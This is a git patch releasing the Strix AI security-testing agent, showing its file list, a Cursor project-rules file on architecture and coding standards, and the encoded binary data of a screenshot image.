From 81ac98e8b97a3e941cf5c35388ca694f9e2a5558 Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Fri, 8 Aug 2025 20:36:44 -0700 Subject: [PATCH] Open-source release for Alpha version --- .cursor/rules/strix-project.mdc | 126 + .github/screenshot.png | Bin 0 -> 695447 bytes .gitignore | 98 + .pre-commit-config.yaml | 62 + LICENSE | 201 + Makefile | 90 + README.md | 157 + containers/Dockerfile | 190 + containers/docker-entrypoint.sh | 128 + poetry.lock | 6274 +++++++++++++++++ pyproject.toml | 358 + strix/__init__.py | 0 strix/agents/StrixAgent/__init__.py | 4 + strix/agents/StrixAgent/strix_agent.py | 60 + strix/agents/StrixAgent/system_prompt.jinja | 504 ++ strix/agents/__init__.py | 10 + strix/agents/base_agent.py | 394 ++ strix/agents/state.py | 139 + strix/cli/__init__.py | 4 + strix/cli/app.py | 1122 +++ strix/cli/assets/cli.tcss | 680 ++ strix/cli/main.py | 542 ++ strix/cli/tool_components/__init__.py | 39 + .../tool_components/agents_graph_renderer.py | 129 + strix/cli/tool_components/base_renderer.py | 61 + strix/cli/tool_components/browser_renderer.py | 107 + .../cli/tool_components/file_edit_renderer.py | 95 + strix/cli/tool_components/finish_renderer.py | 32 + strix/cli/tool_components/notes_renderer.py | 108 + strix/cli/tool_components/proxy_renderer.py | 255 + strix/cli/tool_components/python_renderer.py | 34 + strix/cli/tool_components/registry.py | 72 + .../cli/tool_components/reporting_renderer.py | 53 + .../cli/tool_components/scan_info_renderer.py | 58 + .../cli/tool_components/terminal_renderer.py | 99 + .../cli/tool_components/thinking_renderer.py | 29 + .../tool_components/user_message_renderer.py | 43 + .../tool_components/web_search_renderer.py | 28 + strix/cli/tracer.py | 308 + strix/llm/__init__.py | 12 + strix/llm/config.py | 19 + strix/llm/llm.py | 310 + strix/llm/memory_compressor.py | 206 + strix/llm/request_queue.py | 63 + strix/llm/utils.py | 84 + strix/prompts/__init__.py | 113 + strix/prompts/coordination/root_agent.jinja | 41 + .../vulnerabilities/authentication_jwt.jinja | 129 + .../vulnerabilities/business_logic.jinja | 143 + strix/prompts/vulnerabilities/csrf.jinja | 168 + strix/prompts/vulnerabilities/idor.jinja | 164 + .../vulnerabilities/race_conditions.jinja | 194 + strix/prompts/vulnerabilities/rce.jinja | 222 + .../vulnerabilities/sql_injection.jinja | 216 + strix/prompts/vulnerabilities/ssrf.jinja | 168 + strix/prompts/vulnerabilities/xss.jinja | 221 + strix/prompts/vulnerabilities/xxe.jinja | 276 + strix/runtime/__init__.py | 19 + strix/runtime/docker_runtime.py | 271 + strix/runtime/runtime.py | 25 + strix/runtime/tool_server.py | 97 + strix/tools/__init__.py | 64 + strix/tools/agents_graph/__init__.py | 16 + .../agents_graph/agents_graph_actions.py | 610 ++ .../agents_graph_actions_schema.xml | 223 + strix/tools/argument_parser.py | 120 + strix/tools/browser/__init__.py | 4 + strix/tools/browser/browser_actions.py | 236 + .../tools/browser/browser_actions_schema.xml | 183 + strix/tools/browser/browser_instance.py | 533 ++ strix/tools/browser/tab_manager.py | 342 + strix/tools/executor.py | 302 + strix/tools/file_edit/__init__.py | 4 + strix/tools/file_edit/file_edit_actions.py | 141 + .../file_edit/file_edit_actions_schema.xml | 128 + strix/tools/finish/__init__.py | 4 + strix/tools/finish/finish_actions.py | 174 + strix/tools/finish/finish_actions_schema.xml | 45 + strix/tools/notes/__init__.py | 14 + strix/tools/notes/notes_actions.py | 191 + strix/tools/notes/notes_actions_schema.xml | 150 + strix/tools/proxy/__init__.py | 20 + strix/tools/proxy/proxy_actions.py | 101 + strix/tools/proxy/proxy_actions_schema.xml | 267 + strix/tools/proxy/proxy_manager.py | 785 +++ strix/tools/python/__init__.py | 4 + strix/tools/python/python_actions.py | 47 + strix/tools/python/python_actions_schema.xml | 131 + strix/tools/python/python_instance.py | 172 + strix/tools/python/python_manager.py | 131 + strix/tools/registry.py | 196 + strix/tools/reporting/__init__.py | 6 + strix/tools/reporting/reporting_actions.py | 63 + .../reporting/reporting_actions_schema.xml | 30 + strix/tools/terminal/__init__.py | 4 + strix/tools/terminal/terminal_actions.py | 53 + .../terminal/terminal_actions_schema.xml | 114 + strix/tools/terminal/terminal_instance.py | 231 + strix/tools/terminal/terminal_manager.py | 191 + strix/tools/thinking/__init__.py | 4 + strix/tools/thinking/thinking_actions.py | 18 + .../thinking/thinking_actions_schema.xml | 52 + strix/tools/web_search/__init__.py | 4 + strix/tools/web_search/web_search_actions.py | 80 + .../web_search/web_search_actions_schema.xml | 83 + 105 files changed, 22125 insertions(+) create mode 100644 .cursor/rules/strix-project.mdc create mode 100644 .github/screenshot.png create mode 100644 .gitignore create mode 100644 .pre-commit-config.yaml create mode 100644 LICENSE create mode 100644 Makefile create mode 100644 README.md create mode 100644 containers/Dockerfile create mode 100644 containers/docker-entrypoint.sh create mode 100644 poetry.lock create mode 100644 pyproject.toml create mode 100644 strix/__init__.py create mode 100644 strix/agents/StrixAgent/__init__.py create mode 100644 strix/agents/StrixAgent/strix_agent.py create mode 100644 strix/agents/StrixAgent/system_prompt.jinja create mode 100644 strix/agents/__init__.py create mode 100644 strix/agents/base_agent.py create mode 100644 strix/agents/state.py create mode 100644 strix/cli/__init__.py create mode 100644 strix/cli/app.py create mode 100644 strix/cli/assets/cli.tcss create mode 100644 strix/cli/main.py create mode 100644 strix/cli/tool_components/__init__.py create mode 100644 strix/cli/tool_components/agents_graph_renderer.py create mode 100644 strix/cli/tool_components/base_renderer.py create mode 100644 strix/cli/tool_components/browser_renderer.py create mode 100644 strix/cli/tool_components/file_edit_renderer.py create mode 100644 strix/cli/tool_components/finish_renderer.py create mode 100644 strix/cli/tool_components/notes_renderer.py create mode 100644 strix/cli/tool_components/proxy_renderer.py create mode 100644 strix/cli/tool_components/python_renderer.py create mode 100644 strix/cli/tool_components/registry.py create mode 100644 strix/cli/tool_components/reporting_renderer.py create mode 100644 strix/cli/tool_components/scan_info_renderer.py create mode 100644 strix/cli/tool_components/terminal_renderer.py create mode 100644 strix/cli/tool_components/thinking_renderer.py create mode 100644 strix/cli/tool_components/user_message_renderer.py create mode 100644 strix/cli/tool_components/web_search_renderer.py create mode 100644 strix/cli/tracer.py create mode 100644 strix/llm/__init__.py create mode 100644 strix/llm/config.py create mode 100644 strix/llm/llm.py create mode 100644 strix/llm/memory_compressor.py create mode 100644 strix/llm/request_queue.py create mode 100644 strix/llm/utils.py create mode 100644 strix/prompts/__init__.py create mode 100644 strix/prompts/coordination/root_agent.jinja create mode 100644 strix/prompts/vulnerabilities/authentication_jwt.jinja create mode 100644 strix/prompts/vulnerabilities/business_logic.jinja create mode 100644 strix/prompts/vulnerabilities/csrf.jinja create mode 100644 strix/prompts/vulnerabilities/idor.jinja create mode 100644 strix/prompts/vulnerabilities/race_conditions.jinja create mode 100644 strix/prompts/vulnerabilities/rce.jinja create mode 100644 strix/prompts/vulnerabilities/sql_injection.jinja create mode 100644 strix/prompts/vulnerabilities/ssrf.jinja create mode 100644 strix/prompts/vulnerabilities/xss.jinja create mode 100644 strix/prompts/vulnerabilities/xxe.jinja create mode 100644 strix/runtime/__init__.py create mode 100644 strix/runtime/docker_runtime.py create mode 100644 strix/runtime/runtime.py create mode 100644 strix/runtime/tool_server.py create mode 100644 strix/tools/__init__.py create mode 100644 strix/tools/agents_graph/__init__.py create mode 100644 strix/tools/agents_graph/agents_graph_actions.py create mode 100644 strix/tools/agents_graph/agents_graph_actions_schema.xml create mode 100644 strix/tools/argument_parser.py create mode 100644 strix/tools/browser/__init__.py create mode 100644 strix/tools/browser/browser_actions.py create mode 100644 strix/tools/browser/browser_actions_schema.xml create mode 100644 strix/tools/browser/browser_instance.py create mode 100644 strix/tools/browser/tab_manager.py create mode 100644 strix/tools/executor.py create mode 100644 strix/tools/file_edit/__init__.py create mode 100644 strix/tools/file_edit/file_edit_actions.py create mode 100644 strix/tools/file_edit/file_edit_actions_schema.xml create mode 100644 strix/tools/finish/__init__.py create mode 100644 strix/tools/finish/finish_actions.py create mode 100644 strix/tools/finish/finish_actions_schema.xml create mode 100644 strix/tools/notes/__init__.py create mode 100644 strix/tools/notes/notes_actions.py create mode 100644 strix/tools/notes/notes_actions_schema.xml create mode 100644 strix/tools/proxy/__init__.py create mode 100644 strix/tools/proxy/proxy_actions.py create mode 100644 strix/tools/proxy/proxy_actions_schema.xml create mode 100644 strix/tools/proxy/proxy_manager.py create mode 100644 strix/tools/python/__init__.py create mode 100644 strix/tools/python/python_actions.py create mode 100644 strix/tools/python/python_actions_schema.xml create mode 100644 strix/tools/python/python_instance.py create mode 100644 strix/tools/python/python_manager.py create mode 100644 strix/tools/registry.py create mode 100644 strix/tools/reporting/__init__.py create mode 100644 strix/tools/reporting/reporting_actions.py create mode 100644 strix/tools/reporting/reporting_actions_schema.xml create mode 100644 strix/tools/terminal/__init__.py create mode 100644 strix/tools/terminal/terminal_actions.py create mode 100644 strix/tools/terminal/terminal_actions_schema.xml create mode 100644 strix/tools/terminal/terminal_instance.py create mode 100644 strix/tools/terminal/terminal_manager.py create mode 100644 strix/tools/thinking/__init__.py create mode 100644 strix/tools/thinking/thinking_actions.py create mode 100644 strix/tools/thinking/thinking_actions_schema.xml create mode 100644 strix/tools/web_search/__init__.py create mode 100644 strix/tools/web_search/web_search_actions.py create mode 100644 strix/tools/web_search/web_search_actions_schema.xml diff --git a/.cursor/rules/strix-project.mdc b/.cursor/rules/strix-project.mdc new file mode 100644 index 0000000..ab9b84b --- /dev/null +++ b/.cursor/rules/strix-project.mdc @@ -0,0 +1,126 @@ +--- +description: +globs: +alwaysApply: true +--- +# Strix Cybersecurity Agent - Project Rules + +## Project Overview + +### Goal and Purpose +Strix is a sophisticated cybersecurity agent specialized in vulnerability scanning and security assessment. It provides: +- Automated cybersecurity scans and assessments +- Web application security testing +- Infrastructure vulnerability analysis +- Comprehensive security reporting +- RESTful API for scan management +- CLI interface for direct usage + +The project implements an AI-powered ReAct (Reasoning and Acting) framework for autonomous security testing. + +## Project Structure + +### High-Level Architecture +``` +strix-agent/ +├── strix/ # Core application package +│ ├── agents/ # AI agent implementations +│ ├── api/ # FastAPI web service +│ ├── cli/ # Command-line interface +│ ├── llm/ # Language model configurations +│ └── tools/ # Security testing tools +├── tests/ # Test suite +├── evaluation/ # Evaluation framework +├── containers/ # Docker configuration +└── docs/ # Documentation +``` + +### Low-Level Structure + +#### Core Components +- **[strix/agents/StrixAgent/strix_agent.py](mdc:strix/agents/StrixAgent/strix_agent.py)** - Main cybersecurity agent +- **[strix/agents/base_agent.py](mdc:strix/agents/base_agent.py)** - Base agent framework +- **[strix/api/main.py](mdc:strix/api/main.py)** - FastAPI application entry point +- **[strix/cli/main.py](mdc:strix/cli/main.py)** - CLI entry point +- **[pyproject.toml](mdc:pyproject.toml)** - Project configuration and dependencies + +#### API Structure +- **[strix/api/routers/](mdc:strix/api/routers)** - API endpoint definitions +- **[strix/api/models/](mdc:strix/api/models)** - Pydantic data models +- **[strix/api/services/](mdc:strix/api/services)** - Business logic services + +#### Security Tools +- **[strix/tools/browser/](mdc:strix/tools/browser)** - Web browser automation +- **[strix/tools/terminal/](mdc:strix/tools/terminal)** - Terminal command execution +- **[strix/tools/python/](mdc:strix/tools/python)** - Python code execution +- **[strix/tools/web_search/](mdc:strix/tools/web_search)** - Web reconnaissance +- **[strix/tools/reporting/](mdc:strix/tools/reporting)** - Security report generation + +## Development Guidelines + +### Code Standards +- **Simplicity**: Write simple, clean, and modular code +- **Functionality**: Prefer functional programming patterns where appropriate +- **Efficiency**: Optimize for performance without premature optimization +- **No Bloat**: Avoid unnecessary complexity or over-engineering +- **Minimal Comments**: Code should be self-documenting; use comments sparingly for complex business logic only + +### Code Quality Requirements +- All code MUST pass `make pre-commit` checks +- All code MUST pass Ruff linting without warnings +- All code MUST pass MyPy type checking without errors +- Type hints are required for all function signatures +- Follow the strict configuration in [pyproject.toml](mdc:pyproject.toml) + +### Execution Environment +- **ALWAYS** use `poetry run` for executing Python scripts and commands +- **NEVER** run Python directly with `python` command +- Use `poetry run strix-agent` for CLI operations +- Use `poetry run uvicorn strix.api.main:app` for API server + +### File Management Rules +- **DO NOT** create or edit README.md or any .md documentation files unless explicitly requested +- Focus on code implementation, not documentation +- Keep docstrings concise and functional + +### Testing and Quality Assurance +- Run `make pre-commit` before any commits +- Ensure all tests pass with `poetry run pytest` +- Use `poetry run mypy .` for type checking +- Use `poetry run ruff check .` for linting + +### Dependencies +- All dependencies managed through [pyproject.toml](mdc:pyproject.toml) +- Use Poetry for dependency management +- Pin versions for production dependencies +- Keep dev dependencies in separate group + +### Configuration +- Application settings in [strix/api/core/config.py](mdc:strix/api/core/config.py) +- LLM configuration in [strix/llm/config.py](mdc:strix/llm/config.py) +- Agent system prompts in [strix/agents/StrixAgent/system_prompt.jinja](mdc:strix/agents/StrixAgent/system_prompt.jinja) + +## Key Implementation Patterns + +### Agent Framework +- Inherit from BaseAgent for new agent implementations +- Use ReAct pattern for reasoning and action loops +- Implement tools through the registry system in [strix/tools/registry.py](mdc:strix/tools/registry.py) + +### API Development +- Use FastAPI with Pydantic models +- Implement proper error handling and validation +- Follow REST conventions for endpoints +- Use Beanie ODM for MongoDB operations + +### Security Tools +- Implement tools as action classes with clear interfaces +- Use async/await for I/O operations +- Implement proper cleanup and resource management +- Follow principle of least privilege + +### Error Handling +- Use structured exception handling +- Provide meaningful error messages +- Log errors appropriately without exposing sensitive information +- Implement graceful degradation where possible diff --git a/.github/screenshot.png b/.github/screenshot.png new file mode 100644 index 0000000000000000000000000000000000000000..1cb799dbb35c68afd12f822fc55fa4190f3bd420 GIT binary patch literal 695447 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

c#Q zLh04Jc~}N<4zaS-y+kR!gUq{)6f^B#DU1y(5p~SQ zC*2O2DBbK$a@Ip8M^l&Eo_XXpD<*bN_q&jOV+)+8ff!m;N&JvpjnyTLV6Ag`lcCEO zC2IM;uYX+Q8CsotFIOt8-VpEtsZ~ADu}*M?qoboW1v_8DuRnPFE=CBqeXq*}#Ns^= zQq(qSEm`~yW^|c&jdlXom%Bgv=SrWO_{&bp&TIW1-)+CKbb){vi;xRC9gL(M=dISI z-EMm8^6GormTG8S87joHO><@Xk^~Nx#vzFshDNTmX}RQPzlw9k7?DfqxqlCTO4oY< z3=^wm;z*awfLgATo3l>#=gnQ3x1wOuSQwqH3o?$NpT|c^x?J zE1o+K5A>Lzi?MPm;@8eJ7MzI~wYvA|iNV(koHc22V!lxva2#VXUnWZQDk!4ZIxyFUM z7RbVH-+`P+H6<%IV2F&Ef&aO_@nTQ4{qLmU#x&-d+X(wAgb@B`!tB zoi`{3K^M*!exZ}-GyiUII69a=uWzo_wS5;%G%btBpbV?PIO`~5GXC(9JWE|zaCCZ( z%Vmm*(t((fj41gv1(8Yn8`K)1HNX|0`(!HcU2?nOP<9Wp ztM4D9(~(rU0?zj|l-st{L$kQ!aTuw; zo6#WwIL0bK6)N5S5$KHTBqnkJuV-8#r=1OzV65#9)18!1F1J$`n~sJpkH@AGZT7(y zF+tw}hHyw*oxBE9^=Wql|F+=-SV6W*g__!b7uw!zhyGIn5 z^b@0!;*oEI|929HAqIAU{&~6*D;n{c3vv~c=lx&OyCCO%Juwy)ZEc)*$dvUk65H|@ zEUKVi5MQOaQBmNs5(kRH#i*P21O{XYwAQU{Q{mM{MiWx<7~(}&daaY~J%6{o`cWwoB8W|!vjxGg7FiIv29d#hxJZ(9S3&?4D` zpiv@P3zbqWf&zR9#B1k^>E8lD%I9Io;0=#X{-~;-2bMdO?Isw7*kR38w!C8S9i zYLjvD-2A4j5AubB_j^PgcZRcL2QpS8=NU}(o!hUUu3fWf~70E!R_9`4Z&FCp53NKw13Qan-G 